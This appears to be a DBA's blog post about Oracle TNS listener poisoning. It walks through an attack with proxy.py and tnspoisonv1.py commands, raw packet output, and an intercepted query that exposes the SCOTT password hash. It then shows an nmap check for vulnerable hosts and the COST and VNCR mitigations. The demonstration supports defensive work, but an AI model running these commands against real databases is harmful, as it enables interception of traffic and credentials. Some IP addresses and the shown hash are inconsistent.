Summary:
I have described about TNS poison attack here and I have divided the description in 3 following section.
1. Section 1: Demonstrate a TNS Poison attack
2. Section 2: How to check easily your database is vulnerable or not
3. Section 3: Work around to save your database from TNS poisoning attack
Section 1: Demonstrate a TNS Poison attack
In that section I have given a demonstration how to do TNS poison attack. To do the TNS poison attack you will need to have access in database server and you will need to know following things:
1. Database SID
2. Listener Port number
3. Database server ip address
In that example my database SID is “prodon”, Listener port number 1521 and Database Server ip address “10.0.80.46”. I have used python scripts here to perform TNS Poisoning that you can download from this page attached file(TNSPOISON.ZIP).
Before doing the TNS poisoning I am showing how the listener looks like.
[oracle@server1 ~]$ lsnrctl status
LSNRCTL for Linux: Version 11.2.0.3.0 - Production on 22-NOV-2016 17:09:40
Copyright (c) 1991, 2011, Oracle. All rights reserved.
Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=server1.test.com)(PORT=1521)))
STATUS of the LISTENER
------------------------
Alias LISTENER
Version TNSLSNR for Linux: Version 11.2.0.3.0 - Production
Start Date 21-NOV-2016 00:00:22
Uptime 1 days 17 hr. 9 min. 17 sec
Trace Level off
Security ON: Local OS Authentication
SNMP OFF
Listener Parameter File /opt/oracle/product/11.2.0.3/network/admin/listener.ora
Listener Log File /opt/oracle/diag/tnslsnr/server1/listener/alert/log.xml
Listening Endpoints Summary...
(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=server1.test.com)(PORT=1521)))
Services Summary...
Service "prodon" has 1 instance(s).
Instance "prodon", status READY, has 1 handler(s) for this service...
So now using the proxy.py script in the Zip file I am running proxy from the machine I am attacking to accept traffic. I have given local ip address, local port number, remote database server ip address and database port number. This script will Proxy on attacker machine to accept client connection and forward to database server.
[hacker@server2 ~]$ python proxy.py --local-ip 10.0.80.16 --local-port 1521 --remote-ip 10.0.76.50 --remote-port 1521
Magic happen now when I will run the second phython script tnspoisonv1.py. This script will say the database Hey, using remote registration you have another partner to load balance your traffic. It will now send the registration packet to the database. This script will use to poison the remote database listener.
[hacker@server2 ~]$ python tnspoisonv1.py 10.0.80.16 1521 prodon 10.0.80.46 1521
Sending initial buffer ...
Answer: Accept(2)
Sending registration ...
'\x04N\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x04D \x08\xff\x03\x01\x00\x124444
Answer: Data(6)
'\x01\xe2\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x01\xd8$\x08\xff\x03\x01\x00\x1244xx4x\x10\x102\x102\x102Tv\x102\x102Tv\x00x\x102Tv\x00\x00\xac\x01\x00\x80\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xa0\xe8\xfe\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \xa5\x15\x01\x00\x00\x00\x00S\xcc\xd3f \x0f\x07V\xe0@\x00\x7f\x01\x00,\xa1\x05\x00\x00\x00\n\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00\x00@i\x04\x01\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@@\x0c\x01\x00\x00\x00\x00prodonXDB\x00\x05\x00\x00\x00\x0b\x00\x00\x00\x01\x00\xfb\x00\x00\x00\x00\x00 \x0f\t\x01\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x0c\xff\x00\x00\x00\x00\x00prodon_XPT\x00\x05\x00\x00\x00\x07\x00\x00\x00\x01\x00\x01\x01\x00\x00\x00\x00\x80\x93\x01\x01\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00P\xe3\x0b\x01\x00\x00\x00\x00prodon\x00\x05\x00\x00\x00\x10\x00\x00\x00\x02\x00\xf8\xe32\x00\x00\x00\xa0K\xfb\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x106\xfb\x00\x00\x00\x00\x00S\xcc\xd3f \x15\x07V\xe0@\x00\x7f\x01\x00,\xa1\x05\x00\x00\x00\x10\x00\x00\x00\x02\x00\x04\x01\x00\x00\x00\x00\xc0\xba\x17\x01\x00\x00\x00\x00\x08\x00\x00\x00prod\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00S\xcc\xd3f \x11\x07V\xe0@\x00\x7f\x01\x00,\xa1'
Sleeping for 10 seconds... (Ctrl+C to stop)...
Now if you check your listener you will see now 2 instance running.
[oracle@server1 ~]$ lsnrctl status
LSNRCTL for Linux: Version 11.2.0.3.0 - Production on 22-NOV-2016 17:11:15
Copyright (c) 1991, 2011, Oracle. All rights reserved.
Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=server1.test.com)(PORT=1521)))
STATUS of the LISTENER
------------------------
Alias LISTENER
Version TNSLSNR for Linux: Version 11.2.0.3.0 - Production
Start Date 21-NOV-2016 00:00:22
Uptime 1 days 17 hr. 10 min. 52 sec
Trace Level off
Security ON: Local OS Authentication
SNMP OFF
Listener Parameter File /opt/oracle/product/11.2.0.3/network/admin/listener.ora
Listener Log File /opt/oracle/diag/tnslsnr/server1/listener/alert/log.xml
Listening Endpoints Summary...
(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=server1.test.com)(PORT=1521)))
Services Summary...
Service "prodon" has 2 instance(s).
Instance "prodon", status READY, has 1 handler(s) for this service...
Instance "prodon", status READY, has 1 handler(s) for this service...
The command completed successfully
So now to show you how the hacker can see your traffic I am executing a sql as a DBA’ user. I am checking the password of scott user.
SQL> select name,password from sys.user$ where name='SCOTT';
NAME PASSWORD
--------------------------------------------------------------------------------
SCOTT 9F6B46CD67F2HDC1
Now if I go back to the hacker screen I can see its bit ugly but I can see the SQL statement and output of the SQL statement.
[hacker@server2 ~]$ python proxy.py --local-ip 10.0.80.16 --local-port 1521 --remote-ip 10.0.80.46 --remote-port 1521
RECV "\x01M\x00\x00\x06\x00\x00\x00\x00\x00\x11i\x15\xfe\xff\xff\xff\xff\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03^\x16a\x80\x00\x00\x00\x00\x00\x00\xfe\xff\xff\xff\xff\xff\xff\xff\x9c\x00\x00\x00\x00\x00\x00\x00\xfe\xff\xff\xff\xff\xff\xff\xff\r\x00\x00\x00\x00\x00\x00\x00\xfe\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff\xff\xff\xff\xff\xa8\xdc>\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x004select name,password from sys.user$ where name='SCOTT'\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
SEND '\x01\xca\x00\x00\x06\x00\x00\x00\x00\x00\x10\x17\x00\x00\x00\xd2r\xfag\xae\x08\xe1V\xc3\x93]\x07\xf6,\x15\x02xt\x0b\x16\x12%\x19<\x00\x00\x00\x02\x00\x00\x00Q\x01\x01\x80\x00\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00i\x03\x01\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x04\x04\x00\x00\x00\x04NAME\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x80\x00\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00i\x03\x01\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x01\x08\x08\x00\x00\x00\x08PASSWORD\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x07\x00\x00\x00\x07xt\x0b\x16\x12%\x19\x00\x00\x00\x00\xe8\x1f\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x06\x01"\x03\x02\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x83\xcf\xba\x7f\x00\x00\x07\x03SCOTT\x109F6B46CD67F2HDC1\x08\x06\x00\xf35\xdc\x9d2\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x01\x00\x00\x00\x14\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x1e\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x16\x00\x00\x01\x00\x00\x006\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \xd7\xb0\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
RECV '\x00\x15\x00\x00\x06\x00\x00\x00\x00\x00\x03\x05\x17\x01\x00\x00\x00\x0f\x00\x00\x00'
SEND '\x00\xac\x00\x00\x06\x00\x00\x00\x00\x00\x04\x01\x00\x00\x00\x15\x00\x01\x01\x00\x00\x00{\x05\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x17\x00\x00\x01\x00\x00\x006\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \xd7\xb0\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19ORA-01403: no data found\n'
Bingo, so that was really easy to attack, so you can change the python script and inject SQL easily. This is really powerful attack because nobody even the DBA’s will not notice anything unless they check log file and listener status.
Section 2: How to check easily your database is vulnerable or not
There is no direct tools from Oracle to check you database is vulnerable or not from TNS poison attack. Using open source free tools nmap you can check easily your database is vulnerable or not. nmap use to scan network and the good thing in nmap is using it you can check large number of database server very easily by giving ip range(if listener port number is same). Here I have used a tns posion script in nmap to check the database is vulnerable or not. You can download the script from this page(NMAP TNS POSION CHECK SCRIPT.ZIP).
Example:
[hacker@server2 ~]$ nmap -Pn -sT --system-dns --script=/home/users/ hacker/oracle-tns-poison.nse -p 1521 10.0.80.46
Starting Nmap 5.51 ( http://nmap.org ) at 2016-11-23 12:02 CET
Nmap scan report for server1.test.com (10.0.80.46 )
Host is up (0.00066s latency).
PORT STATE SERVICE
1521/tcp open oracle
|_oracle-tns-poison: Host is vulnerable!
Nmap done: 1 IP address (1 host up) scanned in 0.10 seconds
[hacker@server2 ~]$ nmap -Pn -sT --system-dns --script=/home/users/ hacker/oracle-tns-poison.nse -p 1521 10.0.80.48
Starting Nmap 5.51 ( http://nmap.org ) at 2016-11-23 12:05 CET
Nmap scan report for server5.test.com(10.0.80.48)
Host is up (0.00073s latency).
PORT STATE SERVICE
1521/tcp open oracle
|_oracle-tns-poison: Not Vulnerable
Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds
Section 3: Work around to save your database from TNS poisoning attack
Database 10.2.0.3 to 12.1.0.2:
For Oracle Database 10.2.0.3 to 12.1.0.2 you can you use Class of Secure Transport (COST) to Restrict Instance Registration. Please check metlink id 1453883.1 and for RAC environment please check metalink id 1340831.1.
Database 11.2.0.4 to 12.1.0.2:
Valid Node Checking for Registration (VNCR) is a new feature in Oracle Net 11.2.0.4 and 12c which allows instance registrations to only come from known servers. VNCR is easier to setup then COST. So if you are running database version between 11.2.0.4 to 12.1.0.2 then better to use VNCR instead of COST.
VALID_NODE_CHECKING_REGISTRATION_<listener_name>
Note that if your listener name is not LISTENER then it does work. So if your listener name is not LISTENER then you will need to change it, e.g if your listener name is prod then it should be VALID_NODE_CHECKING_REGISTRATION_PROD. For more detail please check metalink id 1600630.1
References:
http://joxeankoret.com/research.html
https://gist.github.com/JukArkadiy/3d6cff222d1b87e963e7